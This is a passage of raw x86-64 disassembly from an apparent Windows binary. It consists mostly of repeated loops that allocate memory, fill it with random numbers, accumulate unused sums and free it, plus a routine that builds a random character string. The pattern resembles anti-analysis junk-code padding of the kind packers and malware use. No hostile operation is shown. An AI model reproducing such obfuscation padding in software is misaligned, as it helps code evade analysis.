cvtsi2sd xmm1, eax
movsd xmm0, qword [0x1400ee380]
subsd xmm1, xmm0
movss xmm0, dword [rsp + 0xccacc]
cvtss2sd xmm0, xmm0
addsd xmm0, xmm1
cvtsd2ss xmm0, xmm0
movss dword [rsp + 0xccacc], xmm0
mov eax, dword [rsp + 0xcca8c]
add eax, 1
mov dword [rsp + 0xcca8c], eax
jmp 0x14000bb87
mov rax, qword [rsp + 0xcca90]
mov qword [rsp + 0x3770], rax
cmp rax, 0
je 0x14000bc28
mov rcx, qword [rsp + 0x3770]
call sym.operator_delete_void_
jmp 0x14000bc2d
mov eax, dword [rsp + 0xcca98]
add eax, 1
mov dword [rsp + 0xcca98], eax
jmp 0x14000bb59
movss xmm0, dword [0x1400ec884]
movss dword [rsp + 0xccacc], xmm0
movss xmm0, dword [0x1400ec880]
movss dword [rsp + 0xccacc], xmm0
lea rcx, [rsp + 0xcc980]
xor edx, edx
mov r8d, 0x104
call sub.msvcrt.dll_memset
call sub.msvcrt.dll_rand
mov ecx, 0xa
cdq
idiv ecx
add edx, 0xa
mov dword [rsp + 0xcc97c], edx
mov dword [rsp + 0xcc978], 0x67cb
mov dword [rsp + 0xcc974], 0
cmp dword [rsp + 0xcc974], 0x52c
jge 0x14000bd76
mov ecx, 0x1a318
call sym.operator_new___unsigned_long_long_
mov qword [rsp + 0xcc968], rax
mov dword [rsp + 0xcc964], 0
cmp dword [rsp + 0xcc964], 0x6b
jge 0x14000bd34
call sub.msvcrt.dll_rand
mov ecx, 0x23c4
cdq
idiv ecx
mov rax, qword [rsp + 0xcc968]
movsxd rcx, dword [rsp + 0xcc964]
mov dword [rax + rcx*4], edx
call sub.msvcrt.dll_rand
mov ecx, 0x18f0
cdq
idiv ecx
add edx, dword [rsp + 0xcc978]
mov dword [rsp + 0xcc978], edx
mov eax, dword [rsp + 0xcc964]
add eax, 1
mov dword [rsp + 0xcc964], eax
jmp 0x14000bcd5
mov rax, qword [rsp + 0xcc968]
mov qword [rsp + 0x3768], rax
cmp rax, 0
je 0x14000bd5b
mov rcx, qword [rsp + 0x3768]
call sym.operator_delete_void_
jmp 0x14000bd60
mov eax, dword [rsp + 0xcc974]
add eax, 1
mov dword [rsp + 0xcc974], eax
jmp 0x14000bca7
mov dword [rsp + 0xcc960], 0x2744
mov dword [rsp + 0xcc95c], 0
cmp dword [rsp + 0xcc95c], 0x40d
jge 0x14000be5e
mov ecx, 0xce4c
call sym.operator_new___unsigned_long_long_
mov qword [rsp + 0xcc950], rax
mov dword [rsp + 0xcc94c], 0
cmp dword [rsp + 0xcc94c], 0xf5
jge 0x14000be1c
call sub.msvcrt.dll_rand
mov ecx, 0x1817
cdq
idiv ecx
mov rax, qword [rsp + 0xcc950]
movsxd rcx, dword [rsp + 0xcc94c]
mov dword [rax + rcx*4], edx
call sub.msvcrt.dll_rand
mov ecx, 0x2eb3
cdq
idiv ecx
add edx, dword [rsp + 0xcc960]
mov dword [rsp + 0xcc960], edx
mov eax, dword [rsp + 0xcc94c]
add eax, 1
mov dword [rsp + 0xcc94c], eax
jmp 0x14000bdba
mov rax, qword [rsp + 0xcc950]
mov qword [rsp + 0x3760], rax
cmp rax, 0
je 0x14000be43
mov rcx, qword [rsp + 0x3760]
call sym.operator_delete_void_
jmp 0x14000be48
mov eax, dword [rsp + 0xcc95c]
add eax, 1
mov dword [rsp + 0xcc95c], eax
jmp 0x14000bd8c
mov dword [rsp + 0xcc948], 0x20f2
mov dword [rsp + 0xcc944], 0
cmp dword [rsp + 0xcc944], 0x6b6
jge 0x14000bf46
mov ecx, 0x1d0c0
call sym.operator_new___unsigned_long_long_
mov qword [rsp + 0xcc938], rax
mov dword [rsp + 0xcc934], 0
cmp dword [rsp + 0xcc934], 0x1cc
jge 0x14000bf04
call sub.msvcrt.dll_rand
mov ecx, 0x164e
cdq
idiv ecx
mov rax, qword [rsp + 0xcc938]
movsxd rcx, dword [rsp + 0xcc934]
mov dword [rax + rcx*4], edx
call sub.msvcrt.dll_rand
mov ecx, 0x2bea
cdq
idiv ecx
add edx, dword [rsp + 0xcc948]
mov dword [rsp + 0xcc948], edx
mov eax, dword [rsp + 0xcc934]
add eax, 1
mov dword [rsp + 0xcc934], eax
jmp 0x14000bea2
mov rax, qword [rsp + 0xcc938]
mov qword [rsp + 0x3758], rax
cmp rax, 0
je 0x14000bf2b
mov rcx, qword [rsp + 0x3758]
call sym.operator_delete_void_
jmp 0x14000bf30
mov eax, dword [rsp + 0xcc944]
add eax, 1
mov dword [rsp + 0xcc944], eax
jmp 0x14000be74
mov dword [rsp + 0xcc930], 0x1b0b
mov dword [rsp + 0xcc92c], 0
cmp dword [rsp + 0xcc92c], 0x453
jge 0x14000c02e
mov ecx, 0x1c2fc
call sym.operator_new___unsigned_long_long_
mov qword [rsp + 0xcc920], rax
mov dword [rsp + 0xcc91c], 0
cmp dword [rsp + 0xcc91c], 0xa0
jge 0x14000bfec
call sub.msvcrt.dll_rand
mov ecx, 0x27de
cdq
idiv ecx
mov rax, qword [rsp + 0xcc920]
movsxd rcx, dword [rsp + 0xcc91c]
mov dword [rax + rcx*4], edx
call sub.msvcrt.dll_rand
mov ecx, 0x3440
cdq
idiv ecx
add edx, dword [rsp + 0xcc930]
mov dword [rsp + 0xcc930], edx
mov eax, dword [rsp + 0xcc91c]
add eax, 1
mov dword [rsp + 0xcc91c], eax
jmp 0x14000bf8a
mov rax, qword [rsp + 0xcc920]
mov qword [rsp + 0x3750], rax
cmp rax, 0
je 0x14000c013
mov rcx, qword [rsp + 0x3750]
call sym.operator_delete_void_
jmp 0x14000c018
mov eax, dword [rsp + 0xcc92c]
add eax, 1
mov dword [rsp + 0xcc92c], eax
jmp 0x14000bf5c
mov dword [rsp + 0xcc918], 0x4ed3
mov dword [rsp + 0xcc914], 0
cmp dword [rsp + 0xcc914], 0x5c2
jge 0x14000c116
mov ecx, 0x1777c
call sym.operator_new___unsigned_long_long_
mov qword [rsp + 0xcc908], rax
mov dword [rsp + 0xcc904], 0
cmp dword [rsp + 0xcc904], 0xf7
jge 0x14000c0d4
call sub.msvcrt.dll_rand
mov ecx, 0x2159
cdq
idiv ecx
mov rax, qword [rsp + 0xcc908]
movsxd rcx, dword [rsp + 0xcc904]
mov dword [rax + rcx*4], edx
call sub.msvcrt.dll_rand
mov ecx, 0x35d3
cdq
idiv ecx
add edx, dword [rsp + 0xcc918]
mov dword [rsp + 0xcc918], edx
mov eax, dword [rsp + 0xcc904]
add eax, 1
mov dword [rsp + 0xcc904], eax
jmp 0x14000c072
mov rax, qword [rsp + 0xcc908]
mov qword [rsp + 0x3748], rax
cmp rax, 0
je 0x14000c0fb
mov rcx, qword [rsp + 0x3748]
call sym.operator_delete_void_
jmp 0x14000c100
mov eax, dword [rsp + 0xcc914]
add eax, 1
mov dword [rsp + 0xcc914], eax
jmp 0x14000c044
mov dword [rsp + 0xcc900], 0x3831
mov dword [rsp + 0xcc8fc], 0
cmp dword [rsp + 0xcc8fc], 0x7a0
jge 0x14000c1fe
mov ecx, 0x268b8
call sym.operator_new___unsigned_long_long_
mov qword [rsp + 0xcc8f0], rax
mov dword [rsp + 0xcc8ec], 0
cmp dword [rsp + 0xcc8ec], 0xd5
jge 0x14000c1bc
call sub.msvcrt.dll_rand
mov ecx, 0x1a27
cdq
idiv ecx
mov rax, qword [rsp + 0xcc8f0]
movsxd rcx, dword [rsp + 0xcc8ec]
mov dword [rax + rcx*4], edx
call sub.msvcrt.dll_rand
mov ecx, 0x3368
cdq
idiv ecx
add edx, dword [rsp + 0xcc900]
mov dword [rsp + 0xcc900], edx
mov eax, dword [rsp + 0xcc8ec]
add eax, 1
mov dword [rsp + 0xcc8ec], eax
jmp 0x14000c15a
mov rax, qword [rsp + 0xcc8f0]
mov qword [rsp + 0x3740], rax
cmp rax, 0
je 0x14000c1e3
mov rcx, qword [rsp + 0x3740]
call sym.operator_delete_void_
jmp 0x14000c1e8
mov eax, dword [rsp + 0xcc8fc]
add eax, 1
mov dword [rsp + 0xcc8fc], eax
jmp 0x14000c12c
mov dword [rsp + 0xcc8e8], 0x5f22
mov dword [rsp + 0xcc8e4], 0
cmp dword [rsp + 0xcc8e4], 0x573
jge 0x14000c2e6
mov ecx, 0x11960
call sym.operator_new___unsigned_long_long_
mov qword [rsp + 0xcc8d8], rax
mov dword [rsp + 0xcc8d4], 0
cmp dword [rsp + 0xcc8d4], 0x182
jge 0x14000c2a4
call sub.msvcrt.dll_rand
mov ecx, 0x375a
cdq
idiv ecx
mov rax, qword [rsp + 0xcc8d8]
movsxd rcx, dword [rsp + 0xcc8d4]
mov dword [rax + rcx*4], edx
call sub.msvcrt.dll_rand
mov ecx, 0x37d4
cdq
idiv ecx
add edx, dword [rsp + 0xcc8e8]
mov dword [rsp + 0xcc8e8], edx
mov eax, dword [rsp + 0xcc8d4]
add eax, 1
mov dword [rsp + 0xcc8d4], eax
jmp 0x14000c242
mov rax, qword [rsp + 0xcc8d8]
mov qword [rsp + 0x3738], rax
cmp rax, 0
je 0x14000c2cb
mov rcx, qword [rsp + 0x3738]
call sym.operator_delete_void_
jmp 0x14000c2d0
mov eax, dword [rsp + 0xcc8e4]
add eax, 1
mov dword [rsp + 0xcc8e4], eax
jmp 0x14000c214
mov dword [rsp + 0xcc8d0], 0
mov eax, dword [rsp + 0xcc8d0]
cmp eax, dword [rsp + 0xcc97c]
jge 0x14000c368
call sub.msvcrt.dll_rand
cdqe
mov ecx, 0x12
xor edx, edx
div rcx
mov eax, edx
mov dword [rsp + 0xcc8cc], eax
movsxd rax, dword [rsp + 0xcc8cc]
mov al, byte [rsp + rax + 0xccad0]
mov byte [rsp + 0xcc8ca], al
mov byte [rsp + 0xcc8cb], 0
lea rcx, [rsp + 0xcc980]
lea rdx, [rsp + 0xcc8ca]
call sub.msvcrt.dll_strcat
mov eax, dword [rsp + 0xcc8d0]
add eax, 1
mov dword [rsp + 0xcc8d0], eax
jmp 0x14000c2f1
mov dword [rsp + 0xcc8c4], 0x67e0
mov dword [rsp + 0xcc8c0], 0
cmp dword [rsp + 0xcc8c0], 0x7a8
jge 0x14000c450
mov ecx, 0x19760
call sym.operator_new___unsigned_long_long_
mov qword [rsp + 0xcc8b8], rax
mov dword [rsp + 0xcc8b4], 0
cmp dword [rsp + 0xcc8b4], 0x180
jge 0x14000c40e
call sub.msvcrt.dll_rand
mov ecx, 0x30ab
cdq
idiv ecx
mov rax, qword [rsp + 0xcc8b8]
movsxd rcx, dword [rsp + 0xcc8b4]
mov dword [rax + rcx*4], edx
call sub.msvcrt.dll_rand
mov ecx, 0x1ba4
cdq
idiv ecx
add edx, dword [rsp + 0xcc8c4]
mov dword [rsp + 0xcc8c4], edx
mov eax, dword [rsp + 0xcc8b4]
add eax, 1
mov dword [rsp + 0xcc8b4], eax
jmp 0x14000c3ac
mov rax, qword [rsp + 0xcc8b8]
mov qword [rsp + 0x3730], rax
cmp rax, 0
je 0x14000c435
mov rcx, qword [rsp + 0x3730]
call sym.operator_delete_void_
jmp 0x14000c43a
mov eax, dword [rsp + 0xcc8c0]
add eax, 1
mov dword [rsp + 0xcc8c0], eax
jmp 0x14000c37e
mov dword [rsp + 0xcc8b0], 0x57d8
mov dword [rsp + 0xcc8ac], 0
cmp dword [rsp + 0xcc8ac], 0x657
jge 0x14000c538
mov ecx, 0x15e34
call sym.operator_new___unsigned_long_long_
mov qword [rsp + 0xcc8a0], rax
mov dword [rsp + 0xcc89c], 0
cmp dword [rsp + 0xcc89c], 0x18a
jge 0x14000c4f6
call sub.msvcrt.dll_rand
mov ecx, 0x34c9
cdq
idiv ecx
mov rax, qword [rsp + 0xcc8a0]
movsxd rcx, dword [rsp + 0xcc89c]
mov dword [rax + rcx*4], edx
call sub.msvcrt.dll_rand
mov ecx, 0x18de
cdq
idiv ecx
add edx, dword [rsp + 0xcc8b0]
mov dword [rsp + 0xcc8b0], edx
mov eax, dword [rsp + 0xcc89c]
add eax, 1
mov dword [rsp + 0xcc89c], eax
jmp 0x14000c494
mov rax, qword [rsp + 0xcc8a0]
mov qword [rsp + 0x3728], rax
cmp rax, 0
je 0x14000c51d
mov rcx, qword [rsp + 0x3728]
call sym.operator_delete_void_
jmp 0x14000c522
mov eax, dword [rsp + 0xcc8ac]
add eax, 1
mov dword [rsp + 0xcc8ac], eax
jmp 0x14000c466
mov dword [rsp + 0xcc898], 0x14b7
mov dword [rsp + 0xcc894], 0
cmp dword [rsp + 0xcc894], 0x6f0
jge 0x14000c620
mov ecx, 0x1b164
call sym.operator_new___unsigned_long_long_
mov qword [rsp + 0xcc888], rax
mov dword [rsp + 0xcc884], 0
cmp dword [rsp + 0xcc884], 0xa0
jge 0x14000c5de
call sub.msvcrt.dll_rand
mov ecx, 0x3403
cdq
idiv ecx
mov rax, qword [rsp + 0xcc888]
movsxd rcx, dword [rsp + 0xcc884]
mov dword [rax + rcx*4], edx
call sub.msvcrt.dll_rand
mov ecx, 0x2161
cdq
idiv ecx
add edx, dword [rsp + 0xcc898]
mov dword [rsp + 0xcc898], edx
mov eax, dword [rsp + 0xcc884]
add eax, 1
mov dword [rsp + 0xcc884], eax
jmp 0x14000c57c
mov rax, qword [rsp + 0xcc888]
mov qword [rsp + 0x3720], rax
cmp rax, 0
je 0x14000c605
mov rcx, qword [rsp + 0x3720]
call sym.operator_delete_void_
jmp 0x14000c60a
mov eax, dword [rsp + 0xcc894]
add eax, 1
mov dword [rsp + 0xcc894], eax
jmp 0x14000c54e
mov dword [rsp + 0xcc880], 0x8f4
mov dword [rsp + 0xcc87c], 0
cmp dword [rsp + 0xcc87c], 0x78a
jge 0x14000c708
mov ecx, 0x12a88
call sym.operator_new___unsigned_long_long_
mov qword [rsp + 0xcc870], rax
mov dword [rsp + 0xcc86c], 0
cmp dword [rsp + 0xcc86c], 0x140
jge 0x14000c6c6
call sub.msvcrt.dll_rand
mov ecx, 0x2b4e
cdq
idiv ecx
mov rax, qword [rsp + 0xcc870]
movsxd rcx, dword [rsp + 0xcc86c]
mov dword [rax + rcx*4], edx
call sub.msvcrt.dll_rand
mov ecx, 0x2a97
cdq
idiv ecx
add edx, dword [rsp + 0xcc880]
mov dword [rsp + 0xcc880], edx
mov eax, dword [rsp + 0xcc86c]
add eax, 1
mov dword [rsp + 0xcc86c], eax
jmp 0x14000c664
mov rax, qword [rsp + 0xcc870]
mov qword [rsp + 0x3718], rax
cmp rax, 0
je 0x14000c6ed
mov rcx, qword [rsp + 0x3718]
call sym.operator_delete_void_
jmp 0x14000c6f2
mov eax, dword [rsp + 0xcc87c]
add eax, 1
mov dword [rsp + 0xcc87c], eax
jmp 0x14000c636
mov dword [rsp + 0xcc868], 0xffc
mov dword [rsp + 0xcc864], 0
cmp dword [rsp + 0xcc864], 0x550
jge 0x14000c7f0
mov ecx, 0x25098
call sym.operator_new___unsigned_long_long_
mov qword [rsp + 0xcc858], rax
mov dword [rsp + 0xcc854], 0
cmp dword [rsp + 0xcc854], 0x97
jge 0x14000c7ae
call sub.msvcrt.dll_rand
mov ecx, 0x2932
cdq
idiv ecx
mov rax, qword [rsp + 0xcc858]
movsxd rcx, dword [rsp + 0xcc854]
mov dword [rax + rcx*4], edx
call sub.msvcrt.dll_rand
mov ecx, 0x296f
cdq
idiv ecx
add edx, dword [rsp + 0xcc868]
mov dword [rsp + 0xcc868], edx
mov eax, dword [rsp + 0xcc854]
add eax, 1
mov dword [rsp + 0xcc854], eax
jmp 0x14000c74c
mov rax, qword [rsp + 0xcc858]
mov qword [rsp + 0x3710], rax
cmp rax, 0
je 0x14000c7d5
mov rcx, qword [rsp + 0x3710]
call sym.operator_delete_void_
jmp 0x14000c7da
mov eax, dword [rsp + 0xcc864]
add eax, 1
mov dword [rsp + 0xcc864], eax
jmp 0x14000c71e
mov dword [rsp + 0xcc850], 0x4684
mov dword [rsp + 0xcc84c], 0
cmp dword [rsp + 0xcc84c], 0x5dd
jge 0x14000c8d5
mov ecx, 0x13c78
call sym.operator_new___unsigned_long_long_
mov qword [rsp + 0xcc840], rax
mov dword [rsp + 0xcc83c], 0
cmp dword [rsp + 0xcc83c], 0x69
jge 0x14000c893
call sub.msvcrt.dll_rand
mov ecx, 0x1744
cdq
idiv ecx
mov rax, qword [rsp + 0xcc840]
movsxd rcx, dword [rsp + 0xcc83c]
mov dword [rax + rcx*4], edx
call sub.msvcrt.dll_rand
mov ecx, 0x1a67
cdq
idiv ecx
add edx, dword [rsp + 0xcc850]
mov dword [rsp + 0xcc850], edx
mov eax, dword [rsp + 0xcc83c]
add eax, 1
mov dword [rsp + 0xcc83c], eax
jmp 0x14000c834
mov rax, qword [rsp + 0xcc840]
mov qword [rsp + 0x3708], rax
cmp rax, 0
je 0x14000c8ba
mov rcx, qword [rsp + 0x3708]
call sym.operator_delete_void_
jmp 0x14000c8bf
mov eax, dword [rsp + 0xcc84c]
add eax, 1
mov dword [rsp + 0xcc84c], eax
jmp 0x14000c806
mov dword [rsp + 0xcc838], 0x7056
mov dword [rsp + 0xcc834], 0
cmp dword [rsp + 0xcc834], 0x50b
jge 0x14000c9bd
mov ecx, 0xf308
call sym.operator_new___unsigned_long_long_
mov qword [rsp + 0xcc828], rax
mov dword [rsp + 0xcc824], 0
cmp dword [rsp + 0xcc824], 0xa5
jge 0x14000c97b
call sub.msvcrt.dll_rand
mov ecx, 0x345c
cdq
idiv ecx
mov rax, qword [rsp + 0xcc828]
movsxd rcx, dword [rsp + 0xcc824]
mov dword [rax + rcx*4], edx
call sub.msvcrt.dll_rand
mov ecx, 0x33d3
cdq
idiv ecx
add edx, dword [rsp + 0xcc838]
mov dword [rsp + 0xcc838], edx
mov eax, dword [rsp + 0xcc824]
add eax, 1
mov dword [rsp + 0xcc824], eax
jmp 0x14000c919
mov rax, qword [rsp + 0xcc828]
mov qword [rsp + 0x3700], rax
cmp rax, 0
je 0x14000c9a2
mov rcx, qword [rsp + 0x3700]
call sym.operator_delete_void_
jmp 0x14000c9a7
mov eax, dword [rsp + 0xcc834]
add eax, 1
mov dword [rsp + 0xcc834], eax
jmp 0x14000c8eb
mov dword [rsp + 0xcc820], 0x4911
mov dword [rsp + 0xcc81c], 0
cmp dword [rsp + 0xcc81c], 0x574
jge 0x14000caa5
mov ecx, 0x18854
call sym.operator_new___unsigned_long_long_
mov qword [rsp + 0xcc810], rax
mov dword [rsp + 0xcc80c], 0
cmp dword [rsp + 0xcc80c], 0x159
jge 0x14000ca63
call sub.msvcrt.dll_rand
mov ecx, 0x2531
cdq
idiv ecx
mov rax, qword [rsp + 0xcc810]
movsxd rcx, dword [rsp + 0xcc80c]
mov dword [rax + rcx*4], edx
call sub.msvcrt.dll_rand
mov ecx, 0x193d
cdq
idiv ecx
add edx, dword [rsp + 0xcc820]
mov dword [rsp + 0xcc820], edx
mov eax, dword [rsp + 0xcc80c]
add eax, 1
mov dword [rsp + 0xcc80c], eax
jmp 0x14000ca01
mov rax, qword [rsp + 0xcc810]
mov qword [rsp + 0x36f8], rax
cmp rax, 0
je 0x14000ca8a
mov rcx, qword [rsp + 0x36f8]
call sym.operator_delete_void_
jmp 0x14000ca8f
mov eax, dword [rsp + 0xcc81c]
add eax, 1
mov dword [rsp + 0xcc81c], eax
jmp 0x14000c9d3
movss xmm0, dword [0x1400ec894]
movss dword [rsp + 0xcc808], xmm0
movss xmm0, dword [0x1400ec890]
movss dword [rsp + 0xcc808], xmm0
movss xmm0, dword [rsp + 0xcc808]
cvtss2sd xmm0, xmm0
movsd xmm1, qword [0x1400ec888]
ucomisd xmm0, xmm1
jne 0x14000cc03
jp 0x14000cc03
mov dword [rsp + 0xcc804], 0
cmp dword [rsp + 0xcc804], 0x13fa
jge 0x14000cbe1
mov ecx, 0x20838
call sym.operator_new___unsigned_long_long_
mov qword [rsp + 0xcc7f8], rax
mov dword [rsp + 0xcc7f4], 0
cmp dword [rsp + 0xcc7f4], 0x1d1
jge 0x14000cb9f
call sub.msvcrt.dll_rand
mov ecx, 0x2d8a
cdq
idiv ecx
mov rax, qword [rsp + 0xcc7f8]
movsxd rcx, dword [rsp + 0xcc7f4]
mov dword [rax + rcx*4], edx
call sub.msvcrt.dll_rand
cvtsi2sd xmm1, eax
movsd xmm0, qword [0x1400ee378]
subsd xmm1, xmm0
movss xmm0, dword [rsp + 0xcc808]
cvtss2sd xmm0, xmm0
addsd xmm0, xmm1
cvtsd2ss xmm0, xmm0
movss dword [rsp + 0xcc808], xmm0
mov eax, dword [rsp + 0xcc7f4]
add eax, 1
mov dword [rsp + 0xcc7f4], eax
jmp 0x14000cb25
mov rax, qword [rsp + 0xcc7f8]
mov qword [rsp + 0x36f0], rax
cmp rax, 0
je 0x14000cbc6
mov rcx, qword [rsp + 0x36f0]
call sym.operator_delete_void_
jmp 0x14000cbcb
mov eax, dword [rsp + 0xcc804]
add eax, 1
mov dword [rsp + 0xcc804], eax
jmp 0x14000caf7
movss xmm0, dword [0x1400ec89c]
movss dword [rsp + 0xcc808], xmm0
movss xmm0, dword [0x1400ec898]
movss dword [rsp + 0xcc808], xmm0
movss xmm0, dword [rsp + 0xcc808]
cvtss2sd xmm0, xmm0
movsd xmm1, qword [0x1400ec8a0]
ucomisd xmm0, xmm1
jne 0x14000cd3f
jp 0x14000cd3f
mov dword [rsp + 0xcc7f0], 0
cmp dword [rsp + 0xcc7f0], 0x14b1
jge 0x14000cd1d
mov ecx, 0x1d074
call sym.operator_new___unsigned_long_long_
mov qword [rsp + 0xcc7e8], rax
mov dword [rsp + 0xcc7e4], 0
cmp dword [rsp + 0xcc7e4], 0x1d7
jge 0x14000ccdb
call sub.msvcrt.dll_rand
mov ecx, 0x1adc
cdq
idiv ecx
mov rax, qword [rsp + 0xcc7e8]
movsxd rcx, dword [rsp + 0xcc7e4]
mov dword [rax + rcx*4], edx
call sub.msvcrt.dll_rand
cvtsi2sd xmm1, eax
movsd xmm0, qword [0x1400ee370]
subsd xmm1, xmm0
movss xmm0, dword [rsp + 0xcc808]
cvtss2sd xmm0, xmm0
addsd xmm0, xmm1
cvtsd2ss xmm0, xmm0
movss dword [rsp + 0xcc808], xmm0
mov eax, dword [rsp + 0xcc7e4]
add eax, 1
mov dword [rsp + 0xcc7e4], eax
jmp 0x14000cc61
mov rax, qword [rsp + 0xcc7e8]
mov qword [rsp + 0x36e8], rax
cmp rax, 0
je 0x14000cd02
mov rcx, qword [rsp + 0x36e8]
call sym.operator_delete_void_
jmp 0x14000cd07
mov eax, dword [rsp + 0xcc7f0]
add eax, 1
mov dword [rsp + 0xcc7f0], eax
jmp 0x14000cc33
movss xmm0, dword [0x1400ec8ac]
movss dword [rsp + 0xcc808], xmm0
movss xmm0, dword [0x1400ec8a8]
movss dword [rsp + 0xcc808], xmm0
movss xmm0, dword [0x1400ec8bc]
movss dword [rsp + 0xcc5cc], xmm0
movss xmm0, dword [0x1400ec8b8]
movss dword [rsp + 0xcc5cc], xmm0
movss xmm0, dword [rsp + 0xcc5cc]
cvtss2sd xmm0, xmm0
movsd xmm1, qword [0x1400ec8b0]
ucomisd xmm0, xmm1
jne 0x14000ce9d
jp 0x14000ce9d
mov dword [rsp + 0xcc5c8], 0
cmp dword [rsp + 0xcc5c8], 0x11fb
jge 0x14000ce7b
mov ecx, 0x1515c
call sym.operator_new___unsigned_long_long_
mov qword [rsp + 0xcc5c0], rax
mov dword [rsp + 0xcc5bc], 0
cmp dword [rsp + 0xcc5bc], 0x206
jge 0x14000ce39
call sub.msvcrt.dll_rand
mov ecx, 0x2ba7
cdq
idiv ecx
mov rax, qword [rsp + 0xcc5c0]
movsxd rcx, dword [rsp + 0xcc5bc]
mov dword [rax + rcx*4], edx
call sub.msvcrt.dll_rand
cvtsi2sd xmm1, eax
movsd xmm0, qword [0x1400ee368]
subsd xmm1, xmm0
movss xmm0, dword [rsp + 0xcc5cc]
cvtss2sd xmm0, xmm0
addsd xmm0, xmm1
cvtsd2ss xmm0, xmm0
movss dword [rsp + 0xcc5cc], xmm0
mov eax, dword [rsp + 0xcc5bc]
add eax, 1
mov dword [rsp + 0xcc5bc], eax
jmp 0x14000cdbf
mov rax, qword [rsp + 0xcc5c0]
mov qword [rsp + 0x36e0], rax
cmp rax, 0
je 0x14000ce60
mov rcx, qword [rsp + 0x36e0]
call sym.operator_delete_void_
jmp 0x14000ce65
mov eax, dword [rsp + 0xcc5c8]
add eax, 1
mov dword [rsp + 0xcc5c8], eax
jmp 0x14000cd91
movss xmm0, dword [0x1400ec8c4]
movss dword [rsp + 0xcc5cc], xmm0
movss xmm0, dword [0x1400ec8c0]
movss dword [rsp + 0xcc5cc], xmm0
mov dword [rsp + 0xcc5b8], 0x440e
mov dword [rsp + 0xcc5b4], 0
cmp dword [rsp + 0xcc5b4], 0x56f
jge 0x14000cf85
mov ecx, 0xc7f4
call sym.operator_new___unsigned_long_long_
mov qword [rsp + 0xcc5a8], rax
mov dword [rsp + 0xcc5a4], 0
cmp dword [rsp + 0xcc5a4], 0x1d9
jge 0x14000cf43
call sub.msvcrt.dll_rand
mov ecx, 0x14a0
cdq
idiv ecx
mov rax, qword [rsp + 0xcc5a8]
movsxd rcx, dword [rsp + 0xcc5a4]
mov dword [rax + rcx*4], edx
call sub.msvcrt.dll_rand
mov ecx, 0x3449
cdq
idiv ecx
add edx, dword [rsp + 0xcc5b8]
mov dword [rsp + 0xcc5b8], edx
mov eax, dword [rsp + 0xcc5a4]
add eax, 1
mov dword [rsp + 0xcc5a4], eax
jmp 0x14000cee1
mov rax, qword [rsp + 0xcc5a8]
mov qword [rsp + 0x36d8], rax
cmp rax, 0
je 0x14000cf6a
mov rcx, qword [rsp + 0x36d8]
call sym.operator_delete_void_
jmp 0x14000cf6f
mov eax, dword [rsp + 0xcc5b4]
add eax, 1
mov dword [rsp + 0xcc5b4], eax
jmp 0x14000ceb3
mov dword [rsp + 0xcc5a0], 0x9ce
mov dword [rsp + 0xcc59c], 0
cmp dword [rsp + 0xcc59c], 0x442
jge 0x14000d06d
mov ecx, 0x176d4
call sym.operator_new___unsigned_long_long_
mov qword [rsp + 0xcc590], rax
mov dword [rsp + 0xcc58c], 0
cmp dword [rsp + 0xcc58c], 0x100
jge 0x14000d02b
call sub.msvcrt.dll_rand
mov ecx, 0x319e
cdq
idiv ecx
mov rax, qword [rsp + 0xcc590]
movsxd rcx, dword [rsp + 0xcc58c]
mov dword [rax + rcx*4], edx
call sub.msvcrt.dll_rand
mov ecx, 0x26e7
cdq
idiv ecx
add edx, dword [rsp + 0xcc5a0]
mov dword [rsp + 0xcc5a0], edx
mov eax, dword [rsp + 0xcc58c]
add eax, 1
mov dword [rsp + 0xcc58c], eax
jmp 0x14000cfc9
mov rax, qword [rsp + 0xcc590]
mov qword [rsp + 0x36d0], rax
cmp rax, 0
je 0x14000d052
mov rcx, qword [rsp + 0x36d0]
call sym.operator_delete_void_
jmp 0x14000d057
mov eax, dword [rsp + 0xcc59c]
add eax, 1
mov dword [rsp + 0xcc59c], eax
jmp 0x14000cf9b
mov dword [rsp + 0xcc588], 0x3775
mov dword [rsp + 0xcc584], 0
cmp dword [rsp + 0xcc584], 0x4d8
jge 0x14000d155
mov ecx, 0xc5e4
call sym.operator_new___unsigned_long_long_
mov qword [rsp + 0xcc578], rax
mov dword [rsp + 0xcc574], 0
cmp dword [rsp + 0xcc574], 0x154
jge 0x14000d113
call sub.msvcrt.dll_rand
mov ecx, 0x290b
cdq
idiv ecx
mov rax, qword [rsp + 0xcc578]
movsxd rcx, dword [rsp + 0xcc574]
mov dword [rax + rcx*4], edx
call sub.msvcrt.dll_rand
mov ecx, 0x2dc7
cdq
idiv ecx
add edx, dword [rsp + 0xcc588]
mov dword [rsp + 0xcc588], edx
mov eax, dword [rsp + 0xcc574]
add eax, 1
mov dword [rsp + 0xcc574], eax
jmp 0x14000d0b1
mov rax, qword [rsp + 0xcc578]
mov qword [rsp + 0x36c8], rax
cmp rax, 0
je 0x14000d13a
mov rcx, qword [rsp + 0x36c8]
call sym.operator_delete_void_
jmp 0x14000d13f
mov eax, dword [rsp + 0xcc584]
add eax, 1
mov dword [rsp + 0xcc584], eax
jmp 0x14000d083
mov dword [rsp + 0xcc570], 0x267e
mov dword [rsp + 0xcc56c], 0
cmp dword [rsp + 0xcc56c], 0x6d2
jge 0x14000d23d
mov ecx, 0xcac4
call sym.operator_new___unsigned_long_long_
mov qword [rsp + 0xcc560], rax
mov dword [rsp + 0xcc55c], 0
cmp dword [rsp + 0xcc55c], 0x156
jge 0x14000d1fb
call sub.msvcrt.dll_rand
mov ecx, 0x2ef1
cdq
idiv ecx
mov rax, qword [rsp + 0xcc560]
movsxd rcx, dword [rsp + 0xcc55c]
mov dword [rax + rcx*4], edx
call sub.msvcrt.dll_rand
mov ecx, 0x1d47
cdq
idiv ecx
add edx, dword [rsp + 0xcc570]
mov dword [rsp + 0xcc570], edx
mov eax, dword [rsp + 0xcc55c]
add eax, 1
mov dword [rsp + 0xcc55c], eax
jmp 0x14000d199
mov rax, qword [rsp + 0xcc560]
mov qword [rsp + 0x36c0], rax
cmp rax, 0
je 0x14000d222
mov rcx, qword [rsp + 0x36c0]
call sym.operator_delete_void_
jmp 0x14000d227
mov eax, dword [rsp + 0xcc56c]
add eax, 1
mov dword [rsp + 0xcc56c], eax
jmp 0x14000d16b
mov dword [rsp + 0xcc558], 0x3133
mov dword [rsp + 0xcc554], 0
cmp dword [rsp + 0xcc554], 0x58c
jge 0x14000d325
mov ecx, 0xa120
call sym.operator_new___unsigned_long_long_
mov qword [rsp + 0xcc548], rax
mov dword [rsp + 0xcc544], 0
cmp dword [rsp + 0xcc544], 0xed
jge 0x14000d2e3
call sub.msvcrt.dll_rand
mov ecx, 0x3a0c
cdq
idiv ecx
mov rax, qword [rsp + 0xcc548]
